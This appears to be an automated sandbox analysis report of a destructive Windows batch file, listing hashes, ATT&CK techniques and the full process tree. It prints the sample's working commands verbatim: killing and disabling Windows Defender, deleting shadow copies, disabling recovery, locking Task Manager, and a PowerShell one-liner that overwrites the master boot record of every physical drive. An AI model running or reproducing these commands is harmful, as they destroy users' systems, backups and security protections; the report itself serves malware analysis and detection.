fe830d203725757f94e0d033178457cf16a79454b6a5290546b11a39c3bee3ce

Analysis

max time kernel
149s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/04/2026, 21:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
deepseek_batch_20260430_17ff89.bat
Size 17KB
Sample260430-1stdzsew4p
SHA256 fe830d203725757f94e0d033178457cf16a79454b6a5290546b11a39c3bee3ce
MD5 c6fa117808a563a3dc162a5abc57fdb6
SHA1 a91a8f209c50e9aaa791573eff46ca64c9d091c2
SHA512 f36e2ffe533dab1aab6c734bbc7d4c799682620a78f3fee39546583bb66d33688c217a3d35403d1ccbb6598cf920e88d3e6eea15bbbd140db4342c3d6e8eb23f
SSDEEP 384:fMNJzmaXZ/X6d5D1NEJ/9Ee+9EeI9EmYw9EhZ9ER59Edc9EH69aPWDjI351B2xfj:fDFvPXeiQF
TLSH
T1D282B9A2391A9D64810248720CAF76497A37A1AF59587CD4B0F79421EF1F34C23FBBD8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit defense_evasion evasion execution impact persistence ransomware trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4932	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Windows\\System32\\notepad.exe"	reg.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4936	sc.exe
4780	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3388	powershell.exe
5076	powershell.exe

Delays execution with timeout.exe 4 IoCs

defense_evasion

pid	Process
4384	timeout.exe
5636	timeout.exe
5696	timeout.exe
3036	timeout.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4320	vssadmin.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
2876	taskkill.exe
3088	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3388	powershell.exe
3388	powershell.exe
5076	powershell.exe
5076	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2876	taskkill.exe
Token: SeDebugPrivilege	3088	taskkill.exe
Token: SeBackupPrivilege	2304	vssvc.exe
Token: SeRestorePrivilege	2304	vssvc.exe
Token: SeAuditPrivilege	2304	vssvc.exe
Token: SeDebugPrivilege	3388	powershell.exe
Token: SeDebugPrivilege	5076	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4648 wrote to memory of 4700	4648	cmd.exe	84
PID 4648 wrote to memory of 4416	4648	cmd.exe	85
PID 4416 wrote to memory of 4512	4416	net.exe	86
PID 4648 wrote to memory of 4384	4648	cmd.exe	87
PID 4648 wrote to memory of 2876	4648	cmd.exe	89
PID 4648 wrote to memory of 3088	4648	cmd.exe	91
PID 4648 wrote to memory of 4936	4648	cmd.exe	92
PID 4648 wrote to memory of 4780	4648	cmd.exe	93
PID 4648 wrote to memory of 4884	4648	cmd.exe	94
PID 4648 wrote to memory of 4932	4648	cmd.exe	95
PID 4648 wrote to memory of 2584	4648	cmd.exe	96
PID 4648 wrote to memory of 4320	4648	cmd.exe	97
PID 4648 wrote to memory of 5636	4648	cmd.exe	100
PID 4648 wrote to memory of 4184	4648	cmd.exe	101
PID 4648 wrote to memory of 4412	4648	cmd.exe	102
PID 4648 wrote to memory of 1400	4648	cmd.exe	103
PID 4648 wrote to memory of 6100	4648	cmd.exe	104
PID 4648 wrote to memory of 3388	4648	cmd.exe	105
PID 4648 wrote to memory of 5696	4648	cmd.exe	106
PID 3388 wrote to memory of 4972	3388	powershell.exe	108
PID 4972 wrote to memory of 5268	4972	csc.exe	109
PID 4648 wrote to memory of 5076	4648	cmd.exe	110
PID 4648 wrote to memory of 3036	4648	cmd.exe	111
PID 4648 wrote to memory of 3200	4648	cmd.exe	112

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260430_17ff89.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4648
- C:\Windows\system32\mode.com
  mode con: cols=120 lines=40
  2⤵
  PID:4700
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4416
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4512
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4384
- C:\Windows\system32\taskkill.exe
  taskkill /f /im MsMpEng.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2876
- C:\Windows\system32\taskkill.exe
  taskkill /f /im NisSrv.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3088
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4936
- C:\Windows\system32\sc.exe
  sc stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4780
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:4884
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4932
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:2584
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4320
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5636
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:4184
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:4412
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:1400
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:6100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\block.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\thjrmmxn\thjrmmxn.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4972
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF1F1.tmp" "c:\Users\Admin\AppData\Local\Temp\thjrmmxn\CSC2FE5B9FF2A68485A8A3E82CAD9AEAE26.TMP"
      4⤵
      PID:5268
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$t='snowsday on top';$b=[Text.Encoding]::ASCII.GetBytes($t);for($d=0;$d -lt 10;$d++){try{$f=[IO.File]::Open('\\.\PhysicalDrive'+$d,[IO.FileMode]::Open,[IO.FileAccess]::ReadWrite);$s=[byte[]]::new(512);$r=New-Object Random;$r.NextBytes($s);for($i=0;$i -lt $b.Length;$i++){$s[$i]=$b[$i]};$s[510]=0x55;$s[511]=0xAA;$f.Write($s,0,512);$f.Close()}catch{}}"
  2⤵
  - Writes to the Master Boot Record (MBR)
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5076
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c dir /s /b "C:\Windows\Microsoft.NET\Framework\csc.exe" 2>nul
  2⤵
  PID:3200

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2304

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

RESF1F1.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESF1F1.tmp
Size 1KB
SHA256 2964c6a8f858d570adf4ace8b58432f695486d2d5b0ce0ac954389a228d56562
MD5 b4662994f6ca651c6e23f01aa7fada2d
SHA1 de41a218bf7ea59f6f2e11d874bb0e09f26b4e8d
SHA512 5e68cd8af725fefbd01140c5f389158ad2d5f9e676591cee9985c85290e55ee5a38cb2046ed0d8e9d6b765602ab572f1a5b7af51e9ccc522aa16cfa0440b069d
TLSH
T12C21CC0553ED4B0EF0775331A8F6073B9268FD65EFA1936B8540122C2C51104EEA0E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_npabb3j2.22h.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_npabb3j2.22h.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

block.ps1

Path C:\Users\Admin\AppData\Local\Temp\block.ps1
Size 211B
SHA256 283a07d8ef78955fc55bd417d495655d1049d05d250abf2870182794abc94eea
MD5 afb4dcc52368282beb9a89ab838a00d1
SHA1 774f810eba59e4d35afa887bfb030bad97a72ccf
SHA512 846e0520984d5492094c7ea34ad987f17b115232da2ba4e262af0aafcdbc3252f0a33f3cd457947acd0ffa20c86499db949adb45cf43c9245530143da70f3377
TLSH
T128D02232AEB056B48033C406CCC0A8F4BC0641F23C4F4B02C573CF519A1F0AD238A606
MD5 SHA1 SHA512 TLSH

Submit Download

thjrmmxn.dll

Path C:\Users\Admin\AppData\Local\Temp\thjrmmxn\thjrmmxn.dll
Size 3KB
SHA256 2725551d87782f5ba34241488f793a4037550b76b1ca242166e1b952d8be153f
MD5 7d6ab460c0e17afbba3c334ced8b98d8
SHA1 9d423dd0f7946dfa13ccc91f0728c80cee41a79c
SHA512 9d2dfe358dee49e05779911e4957ca3c9975b29043f8dd3799b5f72714576ad92670ec86949d4b1946471148ee01ec1f243c14c19aa7e848b80b5f901a581db7
TLSH
T17E51A81AA7E84667E4A70734AEF3432637B8FC509FB2936E198002299C657644E71FB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC2FE5B9FF2A68485A8A3E82CAD9AEAE26.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\thjrmmxn\CSC2FE5B9FF2A68485A8A3E82CAD9AEAE26.TMP
Size 652B
SHA256 f997e7069bc3db07b26bb6af8c2006b4b6759028dac815b7c051209baaf6cfc4
MD5 102bc549bf4fae9af21482f206781e27
SHA1 e75a2bd5f2db6c1c62c4fa54ecb25d9138fd3ae7
SHA512 4fdeee840cecb63ae5a21b8d96a4a9b13ec4335ade1dcf9d0ed70831e2c04e5ab9668dad2411a4daba7f6d9ec930c284fc584e54c3bcac9313a4c171e408e0b4
TLSH
T19CF03A0963FC020AF0F75B31F9F6437395A8BC65DE7293ED1480032D2865A148962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

thjrmmxn.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\thjrmmxn\thjrmmxn.0.cs
Size 182B
SHA256 e3de965de9da39ddea9892f3092789ed9cbf56a71220d02275cc3eb3109af233
MD5 38d6048328d30f1dda4852c81f064008
SHA1 c620085397534ba11965d01d74ccd4138de12f68
SHA512 172c2bdae8266a017b1380105ea05985d3388938f8f8040ce3b6028ad0c98f00a1ca2727851c064d3f2fb2395f0ae1c740a4e24b1526aa03ddcb8a52ee212013
TLSH
T152C0122866F7AE24401348175D46E0E97F275257169E1E11FAE98600CF8B0441621E19
MD5 SHA1 SHA512 TLSH

Submit Download

thjrmmxn.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\thjrmmxn\thjrmmxn.cmdline
Size 369B
SHA256 316e6a090d7e131e7205fe252ad141f93f75dbcb927cf9be08253985603c2459
MD5 606012faa148af7a8b293ed7a364b750
SHA1 9a9202dce776d983277195aed0b6a8f6fabf7838
SHA512 65b93a5d8515c3fd091863487e1e911570847076096b140c40eb0b0f0d18e26c282ba9652cc813d5e2c62707c477c53419b39aa1f0e871d80cf5a789d03f8d08
TLSH
T1EFE0262E57D7C67D15ED200B22EBCEACC27687872981BF849254845EE2270067FF2795
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2876-1-0x0000024549650000-0x00000245496A5000-memory.dmp

Download

memory/3036-46-0x000002368D630000-0x000002368D685000-memory.dmp

Download

memory/3088-2-0x000002CBA4990000-0x000002CBA49E5000-memory.dmp

Download

memory/3388-12-0x000002206D9C0000-0x000002206D9E2000-memory.dmp

Download

memory/3388-34-0x000002206DA10000-0x000002206DA18000-memory.dmp

Download

memory/3388-47-0x0000022055200000-0x0000022055255000-memory.dmp

Download

memory/4384-0-0x0000019DF8C30000-0x0000019DF8C85000-memory.dmp

Download

memory/4972-32-0x000001F0564F0000-0x000001F056545000-memory.dmp

Download

memory/5076-45-0x000001A618370000-0x000001A6183C5000-memory.dmp

Download

memory/5636-7-0x00000214559C0000-0x0000021455A15000-memory.dmp

Download

memory/5696-35-0x00000290DDDC0000-0x00000290DDE15000-memory.dmp

Download